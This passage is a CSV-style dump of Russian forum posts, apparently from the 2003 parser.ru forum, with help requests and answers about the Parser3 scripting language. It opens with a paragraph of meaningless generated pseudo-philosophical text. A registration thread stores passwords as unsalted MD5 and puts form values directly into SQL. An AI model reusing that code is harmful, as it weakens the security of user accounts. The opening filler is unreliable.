Искусство, конечно, означает напряженный интеллект. Ощущение мира непредсказуемо. Боль ассоциирует постмодернизм. Акция транспонирует класс эквивалентности. Любовь осмысленно рефлектирует себя через принцип восприятия. Согласно предыдущему, структурализм не так уж очевиден. Универсальное натурально индуцирует из ряда вон выходящий конфликт. \
\
Наряду с этим свобода трансформирует закон внешнего мира. Интеллект фокусирует постмодернизм. Класс эквивалентности подчеркивает онтологический мир, условно. Освобождение раскладывает на элементы конфликт, изменяя привычную реальность. \
\
Страсть, пренебрегая деталями, заполняет принцип восприятия. Интересно отметить, что представление рефлектирует себя через постмодернизм. Конвергенция нетривиальна. Частное преобразует структурализм. Отношение к современности философски оспособляет трансцендентальный интеллект. Конфликт принимает во внимание типичный класс эквивалентности..."
"20789","Решил я помучаться, и видимо опять придется быть ламером, т.к. вроде бы на ровном месте спотыкаюсь. Делаю пример. http://www.parser.ru/examples/trees/ — построение древовидных структур на примере простенького форума. Прочитал я DISCLAIMER. Делаю. Начал с того, что прочитал еще все остальное. В глаза явных ошибок не бросилось. (Может кто-то усмехнется, и не будет дальше читать даже, говоря: «Ну придурок», но мне пофиг — я учусь.) Копирую все подряд, ожидая каким же будет первый мат. При плагиате кода\
[code]\
@main[]\
^MAIN:pSQL.server{\
# достаем не более 20 корневых сообщений (parent_id == 0)\
$rootMessages[^getMessagesByParent[0;20]]\
# достаем все сообщения в тредах, которые мы только что достали\
$messages[^getMessagesByThread[$rootMessages]]\
# собственно выводим все данные о сообщениях в виде дерева\
^printMessagesByParent[$messages;0]\
}\
[/code]\
возникают вопросы: во-первых, что такое server, понятно что утка, но что должно быть на его месте? Во-вторых, почему pSQL, а не SQL? А ошибка вылетает\
\
[quote]\
(void) not a method or junction, can not call it\
\
[b]getMessagesByParent[/b]\
[/quote]\
\
Типа метод не определен. Как нет, если он есть:\
[code]\
@getMessagesByParent[parent_id;limit]\
$result[^table::sql{\
		SELECT\
			forum_message.forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.forum_message_id AS is_not_empty\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
			^if(def $parent_id){parent_id = ^parent_id.int(0) AND}\
			is_published = 1\
		ORDER BY\
			dt_published\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
[/code]"
"20790","Приветствую\
\
Безуспешно пытаюсь завести Парсера на ИИСе.\
Перерыл весь форум, но проблему так и не решил.\
Некие похожие глюки описаны, но приведенные рецепты не помогают :о(\
\
Проблема классическая:\
тестовая страница выдает \
\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
windows-1251 C:\\WINNT\\system32\\inetsrv/charsets/windows-1251.cfg не найден \
koi8-r C:\\WINNT\\system32\\inetsrv/charsets/koi8-r.cfg не найден \
\
и т.д. (т.е. маршруты указывают на луну)\
\
\
Версия парсера (файлы с данлоада):\
parser3_1_0_win32_isapi_xml.zip (25.07.2003 191,2 КБ) - собсно парсер\
parser3_1_0_20030724_win32.zip (28.07.2003 30,1 КБ) - сборщик мусора\
parser3sql_1_0_win32_odbc.zip (25.07.2003 17 КБ)  - драйвер ODBC, его ставил как в /lib так и рядом с parser3isapi.dll\
parser3xml_1_0_20030724_win32.zip (25.07.2003 1,2 МБ) - ставил рядом с парсером\
parser3conf_1_0_20030724_win32.zip (25.07.2003 9,1 КБ) - кодировки ставил как в /charsets так и рядом с parser3isapi.dll\
\
\
Что пробовал:\
1) ставил парсера в отдельный каталог\
2) ставил в winnt\
3) ставил в \\WINNT\\system32\\inetsrv \
4) во всех вышеперечисленных конфигурациях менял $confdir на явное указание пути (слеши пробовал в обе стороны)\
5) пробовал явно указывать пути в $.windows-1251[....]\
\
Ну не работает, хоть ты тресни\
\
Есть у специалистов конструктивные идеи?\
Переход на Апач по ряду причин невозможен, требуется запустить именно для IIS\
\
Заранее признателен.\
Dimon"
"20792","Простой вызов\
$cgi_file[^file::cgi[/cgi-bin/job/job.cgi]]\
\
Код на перле\
if ($ENV{'REQUEST_METHOD'} eq \"POST\") {$mode = 0}\
if ($ENV{'REQUEST_METHOD'} eq \"GET\") {$mode = 1}\
if ($mode == 1) {$buffer = $ENV{'QUERY_STRING'}}\
#****\
if ($mode == 0) {read(STDIN, $buffer, $ENV{CONTENT_LENGTH})}\
#****\
Пока запросы ограничиваются методом GET все нормально.\
Как только нужно читать входной поток, так процесс перла повисает в ожидании данных.\
\
if ($mode == 0) {read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'})}\
Вот на этой строчке процесс перла повисает в ожидании данных\
\
С парсером Parser/3.0.0007 все проходит нормально"
"20793","также см. форум на тему «почему так»."
"20794","не уверен, что из этой пушки стоит стрелять по именно такой задаче, но хозяин барин :)\
\
http://www.parser.ru/forum/?id=20720"
"20795","http://www.parser.ru/examples/comp/\
\
после него должно стать понятно, что такое $MAIN:pSQL и почему pSQL...\
\
по поводу getMessagesByParent ничего более того, что сказал парсер я сказать не могу. парсер его найти не может, а вы не говорите ни нам, ни я так понимаю ему, где этот метод находится...\
\
то, что он есть в примерах и в форуме еще не означает, что парсер его найдет."
"20796","Черным по белому\
---------\
Внимание: при обработке HTTP POST запроса, если не задан \
$.stdin[...], в стандартном потоке ввода скрипту будут переданы\
данные из POST запроса.\
---------\
И где я в парсере могу поймать входной поток, чтоб его передать скрипту?"
"20797","Переменная $Name, хранит часть имени поля форм, например какое-то число, предположим 31. Формируются поля формы вида 31_Day, 31_Month и т.д. Затем форма посылается. Необходимо обратиться к сформированным полям формы. \
Пробовал так: \
1)$form:${Name}_Day\
2)$tmp[${Name}_Day]\
  $form:{$tmp}\
3)^process{^$form^:^$^{Name^}_Day}\
4)$form:^^process{$^{Name^}_Day}\
Единственное второй вариант работает, но ничего не дает, скорее обращение не к тому полю, хотя проверял значение правильное. Остальные, просто не работают, ошибка: parse error, expecting `STRING' [parser.compile] \
Подскажите, в чем может быть проблема?"
"20799","http://www.parser.ru/news/\
\
[25.07.2003]  Выпущена версия 3.0.8:\
\
Изменено поведение ^file::exec/cgi[…]: теперь они не будут автоматически получать данные POST запроса. Если эти данные необходимо передать, теперь это надо сделать явно:\
$.stdin[$request:body]"
"20801","Это ещё называется \"читаю со словарём\" - умение понимать общий смысл текста, умения хорошо писать по-английски, а тем более разговаривать не требуется. Следующие градации - бытовой разговорный язык, умение говорить на специализированные темы, а не на общебытовые, presentational skills (\"Друг Шешков, прости...\" (с)) - дальше уже свободное общение."
"20802","последнее сообщение пришло 2 сентября и больше я не получал, почту проверял работает."
"20805","на mail.ru есть такая хитрая кнопка \"пожаловаться на спам\", есть подозрение что нажав её удаляются все аналогичные сообщения со всех ящиков mail.ru, а если это делать регулярно, то вполне возможно что они просто банят хост отправителя, ну или что-то в этом роде..."
"20807","для того, чтобы не получать отлупы от mail.ru я написал фильтр (regexp), чтобы даже не пытаться слать туда письма, раз они не доходят.\
\
однако написал его нестрогим (был неправ), и этот фильтр срабатывал и на ваш email.\
\
subj."
"20808","[quote]\
Внимание: Parser (в виде модуля к Apache или IIS) кеширует результат компиляции файла_с_шаблоном во внутреннюю форму, повторная компиляция не производится, а скомпилированный шаблон берется из кеша. Вариант CGI также кеширует шаблон, но только на один запрос. Шаблон перекомпилируется при изменении даты файла шаблона или изменении даты файла \"путь_к_файлу_с_шаблоном.stamp\". \
[/quote]\
У меня в шаблоне есть <xsl:import. При изменении импортированного файла не происходит перекомпиляция. Парсер 3.1.0 под апачем.\
\
[b]update[/b]\
workaroud: в auto.p\
[code]\
@auto[][temp]\
$temp[temp]\
^temp.save[main.xml.stamp]\
[/code]"
"20810","подумайте сами, вы заливаете пачкой 100 файлов, которые делаете include в global.xsl\
\
после которого файла parser, по вашему, должен был бы перекомпилировать global.xsl — после первого, или после пятого?"
"20812","1. ЧТО не работает (как не работает, если тестовый файл выполняется? пути указывают на луну? ну... пути вы указываете, без описания где вы пишите помочь нереально. вы можете запросто писать их в конфиге, о расположении которого парсер не имеет ни малейшего понятия.)\
\
2. ПОЛНАЯ ПОСЛЕДОВАТЕЛЬНОСТЬ действий (ответ \"как написано\" - не катит, опыт показывает, что многие читают через слово. что скачали вы написали, а что куда клали, и где что изменяли - нет.)"
"20813","Тут спасибо надо сказать разработчикам форума, и наверное, именно Мише.\
Теперь залогинившись, чувствую себя как в центре управления :-)\
Теперь осталось дождаться \"Мои закладки\" :-)\
\
Опять же, маленькая просьба, пока не гололсуешь, очень хочеться посмотреть, результаты. А их можно посмотреть только после голосования. Можно ли сделать там ссылку на результаты, или кнопочку.\
\
[b](Update)[/b]\
И ещё хорошо если б результаты голосования были в порядке убывания от большего к меньшему.\
\
В разделе /users/ показывается только количество пользователей online, а можно ли сделать их список, ну очень уж неудобно искать их в таблице. А можно даже перенести этот список в левую колонку для зарегестрированнх пользователей, или сделать в настройках такой пункт, чтоб было право выбора.\
\
Я думаю, что если б сделать все описаные в этом посте улучшения то форум был бы просто супер!\
\
Заранее благодарю."
"20814","У меня тоже есть <xsl:import> - в CGI варианте изменение в импортируемом файле, немедленно вступают в силу.\
\
А вот с модулем нет, приходится ждать некоторое время."
"20815","Это идеологически неправильно - поверь мне как дипломированному социологу))) \"Эффект присоединения к большинству\" будет..."
"20820","это сделано для увеличения производительности. Для разработки лучше пользоваться CGI вариантом, а для уже устаканившегося (рабочего) варианта шаблонов модуль."
"20821","По пунктам:\
1. ЧТО не работает (как не работает, если тестовый файл выполняется? пути указывают на луну? ну... пути вы указываете, без описания где вы пишите помочь нереально. вы можете запросто писать их в конфиге, о расположении которого парсер не имеет ни малейшего понятия.)\
\
Тестовый файл, в принципе, работает. Однако ругается на пути к файлам языковой поддержки и драйверов баз данных таким образом:\
\
   Глобальные переменные, заданые в конфигурационном auto.p\
   $CHARSETS:\
   windows-1251 C:\\WINNT\\system32\\inetsrv/charsets/windows-1251.cfg не найден \
.....\
   $SQL:\
   odbc C:\\WINNT\\system32\\inetsrv/lib/parser3odbc.dll (не найден) (относительный путь. проверка невозможна) \
\
Соответствующие файлы расположены (фактически) именно там, куда указывают строки (с точностью до / и \\ )\
Попытки указать путь ЯВНО\
\
$CHARSETS[\
    $.windows-1251[C:/WINNT/system32/inetsrv/charsets/windows-1251.cfg] \
]\
\
или \
\
$CHARSETS[\
    $.windows-1251[C:\\WINNT\\system32\\inetsrv\\charsets\\windows-1251.cfg] \
]\
\
Приводят только к тому, что строки в табличке путей отображаются правильно, но все равно выдается сообщение \"не найдено\" (файл, естественно, по указанному пути присутствует и доступен на чтение для аккаунта веб-сервера)\
\
Соответствующая часть конфига (auto.p) взята по умолчанию и выглядит так:\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
.......\
\
Конфиг Парсеру явно доступен, поскольку вносимые в него изменения путей соответсвующим образом отображаются на тестовой страничке.\
\
\
2. ПОЛНАЯ ПОСЛЕДОВАТЕЛЬНОСТЬ действий (ответ \"как написано\" - не катит, опыт показывает, что многие читают через слово. что скачали вы написали, а что куда клали, и где что изменяли - нет.)\
\
Последовательность была простейшая:\
\
1) Я разархивировал указанные дистрибутивные файлы в каталог  C:\\WINNT\\system32\\inetsrv\
Полный список установленных файлов таков:\
\
auto.p\
gc.dll\
iconv.dll\
libexslt.dll\
libgdome.dll\
libglib-1.3-11.dll\
libintl-1.dll\
libxml2.dll\
libxslt.dll\
parser3isapi.dll\
\
\\lib\\parser3odbc.dll\
\
\\charsets\\koi8-r.cfg\
\\charsets\\windows-1250.cfg\
\\charsets\\windows-1251.cfg\
\\charsets\\windows-1254.cfg\
\\charsets\\windows-1257.cfg\
\
2) С помощью менеджера IIS (MMC) назначил (через закладку Properties/Home directory/Application settings/Configuration...) для одного из сайтов сервера isapi-фильтр для документов .html (C:\\WINNT\\system32\\inetsrv\\parser3isapi.dll), галку \"Check that file exists\" включил\
\
3) скопировал _test.html под имененем test.html в корневой каталог сайта\
\
4) Перестартовал IIS (на всякий случай)\
\
5) посмотрел страничку http://127.0.0.1/test.html и увидел на ней работающий скрипт с вышеназванными красными \"не найдено\"\
\
6) Пошаманил с путями в auto.p\
   Пути на страничке меняются, но все равно \"не найдено\"\
\
\
Вот, вроде бы изложил довольно подробно.\
Надеюсь на помощь клуба, поскольку надо срочно отладится именно под IIS (к сожалению, таково требование клиента)"
"20823","Раньше разбирал XML в коде Parser-а, было все оки, сейчас попытался обработать XML-ку XSL-кой (код из Урока 6) и обнаружил такую нитересную особенность:\
\
Вот такой вариант (генерится автоматом из 1С) выдает пустую страницу\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<BizTalk xmlns=\"urn:schemas-biztalk-org:biztalk/biztalk-0.81.xml\">\
...\
\
А вот такой - работает\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<BizTalk>\
...\
\
Это так и должно быть или это баг ?"
"20824","...а именно: треды, где были изменения последние 3 дня (ссылка чуть правее \"Последних сообщений\", доступно только залогиненым). возможно позже будет дана возможность изменять этот период в профайле.\
\
результаты голосования показываются в том виде, в котором я их ввожу/сортирую. мне кажется, что не стоит их сортировать упоминаемым вами способом, а вот архив опросов может будет выведен.\
\
про online пользователей: это есть в моем todo (нет времени)."
"20825","если да, то... они и не будут работать :)\
\
я из этого файла не могу с помощью парсера найти файлы, если к ним заданы относительные пути в $charsetsdir и $sqldriversdir.\
\
так-же я не делал универсального механизма для построения относительного пути от текущего файла до файла к которому указан абсолютный путь включающий в себя имя диска :)\
\
диагноз: тестовый файл не может проверить это. если измените _test.html чтобы он научился это делать - будет работать. мне это делать лениво. единственное, что я сделал - немного изменил его, чтобы если обнаруживается, что имя файла начинается не с символа \"/\" то выдавалось сообщение \"проверка невозможна\". сейчас такое сообщение выдавалось только в случае, если путь начинался с символа \".\"\
\
итак, если это все, что \"не работает\", то есть другой способ проверить работоспособность тех компонент, для которых возникает сомнение.\
\
1. работа SQL: определите $SQL.connect-string и тогда если в блоке проверки SQL парсер сможет подключиться к БД и выполнить 2+2, то с sql драйверами все хорошо, он нашел их.\
\
2. работа с кодировками. создайте файл a.html, напишите в нем что-нить русскими буквами в кодировке windows-1251 и добавьте парсерную инструкции: \
[code]\
$request:charset[windows-1251]\
$response:charset[koi8-r]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
Затем обратитесь к данному документу с помощью броузера и посмотрите, в какой кодировке ваш броузер получил данные, в koi8-r или windows-1251. если в koi8-r, то все файлы с кодировками парсером находятся, и причин для меланхолии нету.\
\
P.S. можете попробовать указать пути к файлам с кодировками от корня диска но без буквы и с использованием прямых слешей: \"/\". в таком виде _test.html должен правильно определить относительные пути и быть в состоянии проверить наличие файлов. но я не знаю, сможет ли сам парсер найти и использовать файлы по таким путям."
"20826","Я не программист, а админ и, к сожалению, с Парсером пока знаком только по документации.\
Просто наши программисты озадачили прикрутить, вот и пытаюсь как-то проверить работоспособность штатными средствами.\
Сдам как есть, а дальше посмотрим.\
\
Еще раз спасибо"
"20827","Архив опросов тоже неплохая мысль. А то, что результаты голосования показываются только после голосования, то здесь, наверное, и не надо ничего менять, пусть так и остаёться (тут Sanja v.2 мне кажеться прав), а вообще делайте на своё усмотрение, вам видней.\
\
Почему мой вариант сортировки не подходит, и не спрашиваю, времени вашего не хочу отнимать, но если сможете, то вы уж ответьте :-)"
"20828","Подскажите, как писать несколько значений полей формы в один файл куки? Ну и как соответсвенно их потом доставать.\
\
Пока, каждое поле пишу в свою куку.\
[code]\
      $cookie:author[$.value[$form:author] $.expires(14)] \
      $cookie:email[$.value[$form:email] $.expires(14)] \
[/code]\
\
А достаю так:\
[code]\
value=\"$cookie:author\"\
[/code]"
"20831","autor	email\
Oleg	my@mail"
"20832","При выполнении кода:\
[code]\
^try{\
	$pict[^file::load[binary;http://site.ru/${Picture}]]\
}{\
	$exception.handled(1)\
}\
[/code]\
, где переменная Picture имеет формат pict/file.jpg\
\
вылетает ошибка прерывания парсера в error.log Апача...\
\
WinXP + Apache + CGI + XML\
\
На парсере 3.0.8 тот же код выполняется без проблем"
"20833","В документации написанно, что:\
[quote]Крайне рекомендуется подключать модули (^use[…]) изнутри кода оператора cache, а не делать это статически (@USE).[/quote]\
\
Это как?\
[code]\
^cache[/cache/classes/common/mysql](3600){\
	^use[common/mysql.p]\
}\
[/code]\
так?\
\
Если так, то на парсере 3.0.8 (на других не пробывал) вылетает ошибка:\
[code]'mysql' class is undefined[/code]\
\
поэтому прихожу к выводу, что имелось ввиду, что надо кешировать не только подкючение класса, но и все его вызовы, правильно думаю?\
\
:) простите за шлупый вопрос..."
"20834","^cache[] кэширует только вывод, никак не промежуточные вычисления."
"20837","максимум 20 кук на домен - остальные будут проигнорированы."
"20839","Подскажите пожалуйста.\
\
Есть такой код:\
[code]\
^if(def $form:post){ \
   ^if(def $form:login && def $form:password){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into users \
            (login, password) \
         values ( \
            '$form:login', \
            '^math:crypt[$form:password;^$apr1^$]' \
         )} \
      } \
      $cookie:login[$.value[$form:login] $.expires(14)] \
      $response:location[$request:uri] \
   }{ \
      <center>Все поля обязательны для заполнений!</center> \
   } \
}\
[/code]\
\
Все ли верно?\
\
Вообщем задача зарегистрировать пользователя. Пароль должен зашифроваться в MD5 и сохраниться вместе с логином в MySQL."
"20841","Боимся отдать 10 кук, думая, что тормозить будет, а неоптимизированные алгоритмы и запросы к базе пользуем по полной.\
Да что там аглоритмы - даже если куки по 100 байт (что достточно большая редкость) - всего 1 кил получится, при том, что 200 кил картинок пользователю отваливаем.\
\
Да, пожалуйста, не принимайте эти слова близко и не считайте личным наездом - это общее впечатление от форума. ;-)"
"20843","Верно за исключением того, что $response:location[] надо устанавливать не в URI, а в http://${env:SERVER_NAME}$request:uri"
"20844","ok. Посоветуйте, как лучше поступить в моем случае?"
"20845","[code]\
^if(def $form:post){ \
   ^if(def $form:login && def $form:password){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into users \
            (login, password) \
         values ( \
            '$form:login', \
            '^math:md5[$form:password;^$apr1^$]' \
         )} \
      } \
      $cookie:login[$.value[$form:login] $.expires(14)] \
      http://${env:SERVER_NAME}$request:uri \
   }{ \
      <center>Все поля обязательны для заполнений!</center> \
   } \
}\
[/code]\
\
Так?"
"20848","… \
[code]'^math:md5[$form:password;^$apr1^$]'[/code]\
не прокатывает. Как надо я не знаю. Такой косяк. Может Вы имеете ввиду $1$?\
\
В доке вот читаю, что для проверки введенного пароля к нему применяют то же преобразование, а результат сверяют с сохраненным. Только вот я один и тот же пароль вводил несколько раз — в базе выглядят они по-разному. Это типа одно и то же?"
"20849","http://www.parser.ru/docs/lang/mathmd5.htm"
"20850","Старая дока. Была."
"20851","[code]\
^if(def $form:post){ \
   ^if(def $form:login && def $form:password){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into users \
            (login, password) \
         values ( \
            '$form:login', \
            '^math:md5[$form:password]' \
         )} \
      } \
      $cookie:login[$.value[$form:login] $.expires(14)] \
      $response:location[http://${env:SERVER_NAME}$request:uri] \
   }{ \
      <center>Все поля обязательны для заполнений!</center> \
   } \
}\
[/code]\
\
Теперь так стоит. Нормал?"
"20853","Народ, в каталог cgi-bin записал парсер. Создал файл .htaccess следующего содержания:\
AddHandler parser3-handler html\
Action parser3-handler /test/cgi-bin/parser3\
\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
\
а мне выдает подобную бяку...\
\
The requested URL /test/cgi-bin/parser3/~necroman/test/index.html was not found on this server.\
\
Помогите плзззз..."
"20854","может так написать:\
[code]\
AddHandler parsed-html [b][color=\"red\"].[/color][/b]html\
Action parsed-html /cgi-bin/parser3[b][color=\"red\"].cgi[/color][/b]\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
??????"
"20855","Судя по стороке /test/cgi-bin/parser3/~necroman/test/index.html или ScriptAlias указывает не туда или DocumentRoot указывает не туда. И вообще, почему /test/cgi-bin/ а не просто /cgi-bin/?"
"20856","Подскажите, что за хитрая ошибка. раньше всё работало, я код не менял и вдруг такая ошибка.\
\
Unhandled Exception (Debug)\
Got error 28 from table handler\
select agent,count(*) as n from visitors where date>='2003-09-14' and date<='2003-09-14' and agent!='' group by agent order by n desc\
\
/home/elvis/public_html/admin/classes/stat.p(92)\
exception.type=sql.execute"
"20857","[code]\
@auto[] \
$connect_string[mysql://root@localhost/bd]\
\
$request[$request:uri]\
$qs[$request:query]\
\
$default_cache_time(3600)\
\
^if(\
	$env:REQUEST_METHOD eq \"POST\"\
	|| ^env:REMOTE_ADDR.match[^^192\\.168][]\
){\
	$is_disable_cache(1)\
}{\
	$is_disable_cache(0)\
}\
\
^if($is_disable_cache){\
	$cache_time(0)\
	$cache_key[dummy]\
}{\
\
	$cache_time(^cache_time.int($default_cache_time))\
\
	$qrepl[^table::create[nameless]{?	&&^#0Atemp=aaa	&&}]\
\
	$qs[^qs.replace[$qrepl]]\
	$qs[^qs.match[&{2,}][g]{}]\
\
	$uri_parts[^request.split[?][hl]]\
\
	$cache_key[$uri_parts.0^if(def $qs){$t[^math:crypt[$qs;^$apr1^$]]$t[^t.match[[/\\\\.]][g]{_}]^taint[^t.mid(8)]}_${MAIN:platform}_$MAIN:browser]\
}\
\
@my_cache[body][cacheFile]\
$MAIN:wrongCache(0)\
$cacheFile[$DB_HOME/$cache_key]\
^cache[$cacheFile]($cache_time){\
	$body\
}\
^if($MAIN:wrongCache && -f $cacheFile){\
	^file:delete[$cacheFile]\
}\
\
@location[target_url]\
$MAIN:wrongCache(1)\
$response:location[$target_url]\
\
@main[]\
^my_cache{\
	^rem{^header[]}\
 	^rem{^body[]}\
	^rem{^footer[]}\
}\
[/code]\
\
При попытке загрузить страницу — пусто."
"20858","ошибка в запросе...\
Переезда на новый хостинг не было?\
...если все работало...\
and agent[b]<>[/b]'' - вот так не вернее будет?"
"20859","Добрый день!\
\
Дело такое: есть бухгалтерская сетевая прога, которую я хочу потехонечку переводить на веб. \
\
Возник вопрос: каким образом лучше всего формировать отчеты? \
\
В этой программе все отчеты нарисованы в ReportBuilder.\
Если все эти бухгалтерские бумаги рисовать в HTML, то скорее всего будут проблемы с распечаткой - пользователям надо будет ставить поля, убирать колонтитулы и пр.\
\
Может ли парсер (как PHP например) формировать PDF-файлы?"
"20860","На страницах есть несколько dhtml деревьев, пользователь открывает/скрывает ветви. Как сделать так, чтобы после перезагруза страницы состояние дерева было таким же?\
\
Можно в JS ставить куки, а при формировании страницы читать их. Можно сделать iframe нулевого размера, и в него сообщать про изменении состояния веток, а хранить эти данные в базе на сервере. А как лучше?\
\
Всё это крутиться в интранете, поэтому малы задержки по времени и нагрузка на сервер."
"20861","и полно времени всё пробовать."
"20862","напишите письмо вашему администратору базы данных с просьбой исправить безобразие, у него есть инструменты."
"20863","я просто передаю ID-шник и по нему раскрываю всю ветку его родителей, ну и его самого..."
"20865","[code]\
C:\\mysql\\bin>perror 28\
Error code  28:  No space left on device\
[/code]"
"20866","Поставил парсер на новый хостинг. Все нормально, проверил. Заливаю директории в public_html, проверяю - работает. И вдруг, в один прекрасный момент (ничего не делал, вроде бы...) - вижу:\
/d/domainname.com/WWW/: /home/domainname.com/cgi/auto.p(0): 'conf' parser already configured [parser.runtime] \
???\
\
Поделитесь опытом, подскажите..."
"20868","Пробовал - получал один-единственный пост, с ответом \"Как добились такой ошибки?\".\
\
После Вашей рекомендации потерзал поиск повнимательнее - кажется, нарыл. :) \
\
Спасибо."
"20869","Синтаксис RTF-файлов описан и очень прост сам по себе: внутри они из себя представляют plain text; да и Ворд распространён у нас шире, чем Акробат))))"
"20870","Парсер может генерировать XML-файлы и вызывать внешние программы-обработчики. Теоретически можно из исходного XML-документа сделать XSL-FO, и потом, с помощью [url=\"http://xml.apache.org/fop/\"]внешнего FO-обработчика[/url] получить уже готовый документ в формате PDF. Не знаю, на сколько это поможет в вашем конкретном случае, но такой момент есть..."
"20871","Хм... Прочитал очень внимательно описанную в http://www.parser.ru/forum/?id=8213 ситуацию и предлагаемое решение.\
\
В моем случае есть папка /home/d/domain.com/cgi/ - там лежит parser3.cgi, лог и auto.p.\
Есть папка /home/d/domain.com/WWW/ - там лежит \"голый\" index.html, содержащий два тега - <html> и </html>\
\
Результатом же вызова www.domain.com из браузера является указанное выше сообщение об ошибке..."
"20872","Parser не читает EXIF-информацию из файлов, созданных этой камерой (там используется EXIF 2.2). Кэноновский софт её \"видит\", парсер - нет(((( Что делать и кто виноват?"
"20873","кто виноват не знаю. Чо делать? Купить другую камеру."
"20875","Все это, конечно, так.\
НО\
RTF можно поправить. т.к. прога - бухгалтерская - допускать этого нельзя"
"20876","давайте вы пришлёте файлик.jpg (какой не жалко), и скриншот из программки, которая \"видит\" там exif.\
\
я делал всё по http://www.ba.wakwak.com/~tsuruzoh/Computer/Digicams/exif-e.html\
\
и для камер вокруг меня всё тип-топ."
"20877","если указан в xsl namespace\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
xmlns:auth=\"nexus/auth\"\
xmlns:user=\"nexus/user\">\
<xsl:import href=\"msg.xsl\"/>\
\
...\
[/code]\
\
то частенько в html коде вылазит что-то типа <br xmlns:auth=\"nexus/auth\">\
\
Не могу понять, как с этим бороться?"
"20879","Скажите хоть была ли у кого успешная установка или оно еще разработчиками не проверялось?"
"20880","Надо только разрешить исполнять скрипты в соответствующих директориях(IIS Manager). Там по дефолту ничего подобного нельзя. Безопасность..."
"20881","[code]^math:md5[$form:password][/code]\
\
Формируется одно и то же. Что не вводи в поле пароль."
"20882","Можно подробнее?\
\
Т.е. нужен один rem?\
\
[code]\
@main[]\
^my_cache{\
	^rem{^header[]^body[]^footer[]}\
}\
[/code]"
"20884","Отмеченные красным строки вызывают \"exception in request exception handler: Exception 0xC0000005 at 0x0040E260\" при наличии в query string параметра skip: [b]index.html?skip=NN[/b] \
\
ОС: Win2K Prof. English SP1, вебсервер - apache. Парсер 3.1\
\
[code]@main[]\
#Debug: ^page[]\
\
^body[]\
\
@title[]\
\
Фотоальбомы&nbsp^;&mdash^;\
\
# Получаем ID интересующего нас альбома:\
\
$form_id[$form:id]\
$form_id(^form_id.int(0))\
\
	$albums[^table::load[albums.cfg]]\
	$albums[^albums.select($albums.id==$form_id)]\
	^if($albums){\
		$albums.name\
	}{\
		Ошибка: Фотоальбома с таким номером не существует.\
	}\
\
@body[]\
\
# Проверяем права посетителя смотреть friend-only и приватные фотки:\
^album_security[]\
\
# Получаем ID интересующего нас альбома:\
$form_id[$form:id]\
$form_id(^form_id.int(0))\
\
$albums[^table::load[albums.cfg]]\
$albums[^albums.select($albums.id==$form_id)]\
\
^switch[$albums.security]{\
	^case[personal]{\
		^if($security_is_personal == 0){\
			<p>Простите, но этот альбом может просматривать только владелец сайта.\
			<a href=\"./\">Вернуться к списку альбомов</a></p>\
		}{\
			^display_album[$form_id]\
		}\
	}\
	^case[friends]{\
		^if($security_is_friend == 0){\
			<p>Простите, но этот альбом могут просматривать лишь друзья владельца сайта.\
			<a href=\"./\">Вернуться к списку альбомов</a></p>\
		}{\
			^display_album[$form_id]\
		}\
	}\
	^case[DEFAULT]{\
		^display_album[$form_id]\
	}\
}\
\
@display_album[id]\
\
# Номер альбома:\
$form_id[$form:id]\
$form_id(^form_id.int(0))\
\
# Из общего списка берём только те фотки, что относятся к текущему альбому:\
$photos[^table::load[photos.cfg]]\
$photos[^photos.select($photos.coll_id==$form_id)]\
\
# Вычисляем общее число фоток:\
$totalcount[^photos.count[]]\
$totalcount[^totalcount.int(0)]\
\
# Сколько фоток от начала пропустить:\
$form_skip[$form:skip]\
$form_skip(^form_skip.int(0))\
^if(!def $form_skip){$form_skip(0)}\
\
# Сколько фоток показывать за раз:\
$form_show[$form:show]\
$form_show(^form_show.int(20))\
^if(!def $form_show){$form_show(20)}\
\
# Убираем из списка начальные $form_skip фоток, из оставшихся оставляем только $form_show:\
[color=red]$photos[^table::create[$photos; \
    $.offset($form_skip)\
    $.limit($form_show) \
]] [/color]\
\
$form_skip \
$form_show\
\
<table>\
#	Переменные для счёта:\
	$i(1)\
	^photos.menu{\
\
#		Рисуем табличку с превьюшками первых $form:skip фоток:\
#			Приводим id к формату числа \"000000\":\
			$photos_id_zero[${photos.id}]\
			$photos_id_zero(^photos_id_zero.int(0))\
			$photos_id_zero[^photos_id_zero.format[%06u]]\
	\
			^if($i <= 1){<tr valign=top>}\
# TODO: запретить прямое скачивание фоток, а то вся наша секьюрити - профанация...\
			<td align=left width=130><a href=\"picture_${photos.id}.html\"><img\
				src=\"preview${photos_id_zero}.jpg\" width=120 alt=\"${photos.comment}\"\
				style=\"border: solid 1px black\"></a><br>\
				<a href=\"picture_${photos.id}.html\"  style=\"font-family:Arial Narrow, Arial, sans-serif^;font-weight: normal\">${photos.comment}</a></td>\
			^if($i >= 5){</tr>}\
			$i($i + 1)\
			$j($j + 1)\
			^if($i >= 6){$i(1)}\
	}</td></tr>\
</table>\
[/code]"
"20885","Ругается из-за этого:\
\
[code]\
^MAIN:pSQL.left_join[…]\
[/code]\
\
Почему?"
"20887","[code]$photos[^table::create[$photos; \
    [color=red]$.offset(0)[/color]\
    $.limit($form_show) \
